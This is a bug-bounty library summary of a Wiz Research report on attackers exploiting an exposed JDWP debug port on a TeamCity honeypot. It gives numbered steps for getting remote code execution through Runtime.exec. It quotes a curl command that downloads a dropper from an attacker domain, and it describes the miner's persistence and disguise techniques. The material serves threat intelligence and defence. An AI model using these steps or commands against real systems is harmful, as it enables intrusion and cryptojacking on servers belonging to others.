# Exposed JDWP Exploited in the Wild: What Happens When Debug Ports Are Left Open

Exposed JDWP debug port on a TeamCity honeypot was exploited within hours to achieve RCE, dropping a hardcoded XMRig miner with multi-vector persistence.

- Payout: Real-world hack
- Severity: critical
- Program: TeamCity
- Credited: Wiz Research
- Disclosed: 2025-07-02
- Write-up quality: 7/10
- Original: https://www.wiz.io/blog/exposed-jdwp-exploited-in-the-wild
- Library page: https://bugbountylibrary.com/r/blog%3Awiz-io-blog-exposed-jdwp-exploited-in-the-wild
- Tags: domain:infra impact:integrity impact:rce kind:incident platform:threat-intel sev:critical tech:java technique:recon technique:reverse-engineering vuln:misconfiguration vuln:rce

**Target:** JDWP debug interface (port 5005) on Java/TeamCity server
**Root cause:** JDWP has no authentication or access control by default; when the JVM is started with -agentlib:jdwp=...address=*:5005 and exposed to the internet, any client can invoke arbitrary methods on the running JVM.
**Steps:**
1. Scan internet for open JDWP port 5005
2. Send `JDWP-Handshake` to confirm interface is active
3. Query `get_all_classes` and `get_methods` to locate `java.lang.Runtime` and its `getRuntime()`/`exec()` methods
4. Use `CreateString` to build command string e.g. `curl -o /tmp/logservice.sh -s https://canonicalconnect[.]com/logservice.sh`
5. Invoke `Runtime.getRuntime()` via `INVOKESTATICMETHOD_SIG`
6. Pass command string to `exec()` via `INVOKEMETHOD_SIG`
7. Repeat with wget/sh variants to fetch and run dropper
**How found:** Wiz Research ran a TeamCity honeypot with JDWP exposed on 5005 and monitored traffic; sensors detected exploitation attempts within hours, and GreyNoise showed 6,000+ unique IPs scanning JDWP in 90 days.
**Exploitation:** Attacker scans for exposed JDWP, handshakes, then uses a jdwp-shellifier variant to invoke Runtime.exec() with curl/wget commands that download logservice.sh. The dropper kills competing miners/high-CPU processes, fetches a hardcoded-config XMRig variant disguised as 'logrotate' into ~/.config, and installs persistence via .bashrc/.zshrc, rc.local, a fake systemd service, and cron jobs (with chattr +i). Mining uses pool proxies to hide the wallet.
**Escalation:** Multi-vector persistence (shell rc, rc.local, systemd, cron across hourly/daily/weekly/monthly/yearly) with chattr +i immutability; process masquerading as logrotate; hardcoded config to avoid suspicious CLI args; pool proxies to hide wallet.
**Insight:** Debug interfaces (JDWP, and by extension other unauthenticated debug protocols) are actively scanned and exploited within hours of exposure — honeypot any service you suspect is targeted to capture live TTPs, and note that JDWP method invocation via INVOKESTATICMETHOD_SIG/INVOKEMETHOD_SIG is the standard RCE primitive worth fingerprinting in traffic.
